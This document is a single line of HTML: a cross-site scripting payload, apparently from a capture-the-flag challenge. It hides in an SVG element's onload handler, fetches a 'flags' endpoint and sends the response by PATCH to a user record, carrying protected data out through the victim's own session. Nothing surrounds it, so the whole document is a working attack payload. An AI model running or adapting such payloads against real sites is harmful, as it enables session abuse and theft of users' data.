<svg onload=fetch('/api/v1/flags/1').then(r=>r.text()).then(t=>fetch('/api/v1/users/2159',{method:'PATCH',body:t}))>